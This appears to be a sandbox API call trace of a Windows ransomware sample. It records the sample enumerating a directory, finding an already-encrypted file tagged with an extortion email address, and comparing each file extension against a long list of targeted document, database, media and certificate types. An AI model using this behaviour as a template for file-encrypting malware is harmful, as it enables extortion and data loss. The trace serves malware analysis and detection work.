	[0070.405] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0070.405] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0070.405] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31212d0
	[0070.405] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.405] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34d5bca3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e4479a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.405] lstrlenW (lpString="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9") returned 50
	[0070.405] lstrlenW (lpString=".1cd") returned 4
	[0070.406] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".3ds") returned 4
	[0070.406] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".3fr") returned 4
	[0070.406] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".3g2") returned 4
	[0070.406] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".3gp") returned 4
	[0070.406] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".7z") returned 3
	[0070.406] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0070.406] lstrlenW (lpString=".accda") returned 6
	[0070.406] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0070.406] lstrlenW (lpString=".accdb") returned 6
	[0070.406] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0070.406] lstrlenW (lpString=".accdc") returned 6
	[0070.406] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0070.406] lstrlenW (lpString=".accde") returned 6
	[0070.406] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0070.406] lstrlenW (lpString=".accdt") returned 6
	[0070.406] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0070.406] lstrlenW (lpString=".accdw") returned 6
	[0070.406] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0070.406] lstrlenW (lpString=".adb") returned 4
	[0070.406] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".adp") returned 4
	[0070.406] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".ai") returned 3
	[0070.406] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0070.406] lstrlenW (lpString=".ai3") returned 4
	[0070.406] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".ai4") returned 4
	[0070.406] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".ai5") returned 4
	[0070.406] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".ai6") returned 4
	[0070.406] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0070.406] lstrlenW (lpString=".ai7") returned 4
	[0070.407] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".ai8") returned 4
	[0070.407] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".anim") returned 5
	[0070.407] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0070.407] lstrlenW (lpString=".arw") returned 4
	[0070.407] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".as") returned 3
	[0070.407] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0070.407] lstrlenW (lpString=".asa") returned 4
	[0070.407] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".asc") returned 4
	[0070.407] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".ascx") returned 5
	[0070.407] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0070.407] lstrlenW (lpString=".asm") returned 4
	[0070.407] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".asmx") returned 5
	[0070.407] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0070.407] lstrlenW (lpString=".asp") returned 4
	[0070.407] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".aspx") returned 5
	[0070.407] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0070.407] lstrlenW (lpString=".asr") returned 4
	[0070.407] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".asx") returned 4
	[0070.407] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".avi") returned 4
	[0070.407] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".avs") returned 4
	[0070.407] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".backup") returned 7
	[0070.407] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0070.407] lstrlenW (lpString=".bak") returned 4
	[0070.407] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0070.407] lstrlenW (lpString=".bay") returned 4
	[0070.407] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".bd") returned 3
	[0070.408] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0070.408] lstrlenW (lpString=".bin") returned 4
	[0070.408] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".bmp") returned 4
	[0070.408] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".bz2") returned 4
	[0070.408] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".c") returned 2
	[0070.408] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0070.408] lstrlenW (lpString=".cdr") returned 4
	[0070.408] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".cer") returned 4
	[0070.408] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".cf") returned 3
	[0070.408] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0070.408] lstrlenW (lpString=".cfc") returned 4
	[0070.408] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".cfm") returned 4
	[0070.408] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".cfml") returned 5
	[0070.408] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0070.408] lstrlenW (lpString=".cfu") returned 4
	[0070.408] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".chm") returned 4
	[0070.408] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".cin") returned 4
	[0070.408] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".class") returned 6
	[0070.408] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0070.408] lstrlenW (lpString=".clx") returned 4
	[0070.408] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".config") returned 7
	[0070.408] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0070.408] lstrlenW (lpString=".cpp") returned 4
	[0070.408] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0070.408] lstrlenW (lpString=".cr2") returned 4
	[0070.409] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".crt") returned 4
	[0070.409] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".crw") returned 4
	[0070.409] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".cs") returned 3
	[0070.409] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0070.409] lstrlenW (lpString=".css") returned 4
	[0070.409] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".csv") returned 4
	[0070.409] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".cub") returned 4
	[0070.409] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dae") returned 4
	[0070.409] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dat") returned 4
	[0070.409] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".db") returned 3
	[0070.409] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0070.409] lstrlenW (lpString=".dbf") returned 4
	[0070.409] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dbx") returned 4
	[0070.409] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dc3") returned 4
	[0070.409] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dcm") returned 4
	[0070.409] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dcr") returned 4
	[0070.409] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".der") returned 4
	[0070.409] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dib") returned 4
	[0070.409] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dic") returned 4
	[0070.409] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0070.409] lstrlenW (lpString=".dif") returned 4
	[0070.409] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".divx") returned 5
	[0070.410] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0070.410] lstrlenW (lpString=".djvu") returned 5
	[0070.410] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dng") returned 4
	[0070.410] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".doc") returned 4
	[0070.410] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".docm") returned 5
	[0070.410] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0070.410] lstrlenW (lpString=".docx") returned 5
	[0070.410] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dot") returned 4
	[0070.410] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dotm") returned 5
	[0070.410] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dotx") returned 5
	[0070.410] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dpx") returned 4
	[0070.410] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dqy") returned 4
	[0070.410] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dsn") returned 4
	[0070.410] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dt") returned 3
	[0070.410] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0070.410] lstrlenW (lpString=".dtd") returned 4
	[0070.410] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dwg") returned 4
	[0070.410] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dwt") returned 4
	[0070.410] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".dx") returned 3
	[0070.410] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0070.410] lstrlenW (lpString=".dxf") returned 4
	[0070.410] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0070.410] lstrlenW (lpString=".edml") returned 5
	[0070.411] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0070.411] lstrlenW (lpString=".efd") returned 4
	[0070.411] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".elf") returned 4
	[0070.411] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".emf") returned 4
	[0070.411] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".emz") returned 4
	[0070.411] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".epf") returned 4
	[0070.411] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".eps") returned 4
	[0070.411] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".epsf") returned 5
	[0070.411] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0070.411] lstrlenW (lpString=".epsp") returned 5
	[0070.411] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0070.411] lstrlenW (lpString=".erf") returned 4
	[0070.411] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".exr") returned 4
	[0070.411] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".f4v") returned 4
	[0070.411] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".fido") returned 5
	[0070.411] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0070.411] lstrlenW (lpString=".flm") returned 4
	[0070.411] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".flv") returned 4
	[0070.411] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".frm") returned 4
	[0070.411] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".fxg") returned 4
	[0070.411] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".geo") returned 4
	[0070.411] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0070.411] lstrlenW (lpString=".gif") returned 4
	[0070.411] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".grs") returned 4
	[0070.412] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".gz") returned 3
	[0070.412] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0070.412] lstrlenW (lpString=".h") returned 2
	[0070.412] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0070.412] lstrlenW (lpString=".hdr") returned 4
	[0070.412] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".hpp") returned 4
	[0070.412] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".hta") returned 4
	[0070.412] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".htc") returned 4
	[0070.412] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".htm") returned 4
	[0070.412] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".html") returned 5
	[0070.412] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0070.412] lstrlenW (lpString=".icb") returned 4
	[0070.412] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".ics") returned 4
	[0070.412] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".iff") returned 4
	[0070.412] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".inc") returned 4
	[0070.412] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".indd") returned 5
	[0070.412] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0070.412] lstrlenW (lpString=".ini") returned 4
	[0070.412] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".iqy") returned 4
	[0070.412] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".j2c") returned 4
	[0070.412] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0070.412] lstrlenW (lpString=".j2k") returned 4
	[0070.412] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".java") returned 5
	[0070.413] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0070.413] lstrlenW (lpString=".jp2") returned 4
	[0070.413] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".jpc") returned 4
	[0070.413] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".jpe") returned 4
	[0070.413] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".jpeg") returned 5
	[0070.413] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0070.413] lstrlenW (lpString=".jpf") returned 4
	[0070.413] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".jpg") returned 4
	[0070.413] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".jpx") returned 4
	[0070.413] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".js") returned 3
	[0070.413] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0070.413] lstrlenW (lpString=".jsf") returned 4
	[0070.413] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".json") returned 5
	[0070.413] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0070.413] lstrlenW (lpString=".jsp") returned 4
	[0070.413] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".kdc") returned 4
	[0070.413] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".kmz") returned 4
	[0070.413] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".kwm") returned 4
	[0070.413] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".lasso") returned 6
	[0070.413] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0070.413] lstrlenW (lpString=".lbi") returned 4
	[0070.413] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".lgf") returned 4
	[0070.413] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0070.413] lstrlenW (lpString=".lgp") returned 4
	[0070.413] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".log") returned 4
	[0070.414] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".m1v") returned 4
	[0070.414] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".m4a") returned 4
	[0070.414] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".m4v") returned 4
	[0070.414] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".max") returned 4
	[0070.414] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".md") returned 3
	[0070.414] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0070.414] lstrlenW (lpString=".mda") returned 4
	[0070.414] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mdb") returned 4
	[0070.414] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mde") returned 4
	[0070.414] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mdf") returned 4
	[0070.414] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mdw") returned 4
	[0070.414] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mef") returned 4
	[0070.414] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mft") returned 4
	[0070.414] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mfw") returned 4
	[0070.414] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mht") returned 4
	[0070.414] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mhtml") returned 6
	[0070.414] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mka") returned 4
	[0070.414] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mkidx") returned 6
	[0070.414] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0070.414] lstrlenW (lpString=".mkv") returned 4
	[0070.415] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0070.415] lstrlenW (lpString=".mos") returned 4
	[0070.428] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".mov") returned 4
	[0070.428] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".mp3") returned 4
	[0070.428] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".mp4") returned 4
	[0070.428] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".mpeg") returned 5
	[0070.428] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0070.428] lstrlenW (lpString=".mpg") returned 4
	[0070.428] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".mpv") returned 4
	[0070.428] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".mrw") returned 4
	[0070.428] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".msg") returned 4
	[0070.428] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".mxl") returned 4
	[0070.428] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".myd") returned 4
	[0070.428] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".myi") returned 4
	[0070.428] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0070.428] lstrlenW (lpString=".nef") returned 4
	[0070.429] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".nrw") returned 4
	[0070.429] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".obj") returned 4
	[0070.429] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".odb") returned 4
	[0070.429] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".odc") returned 4
	[0070.429] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".odm") returned 4
	[0070.429] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".odp") returned 4
	[0070.429] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".ods") returned 4
	[0070.429] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".oft") returned 4
	[0070.429] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".one") returned 4
	[0070.429] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".onepkg") returned 7
	[0070.429] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0070.429] lstrlenW (lpString=".onetoc2") returned 8
	[0070.429] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0070.429] lstrlenW (lpString=".opt") returned 4
	[0070.429] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".oqy") returned 4
	[0070.429] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".orf") returned 4
	[0070.429] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".p12") returned 4
	[0070.429] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".p7b") returned 4
	[0070.429] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".p7c") returned 4
	[0070.429] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0070.429] lstrlenW (lpString=".pam") returned 4
	[0070.429] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
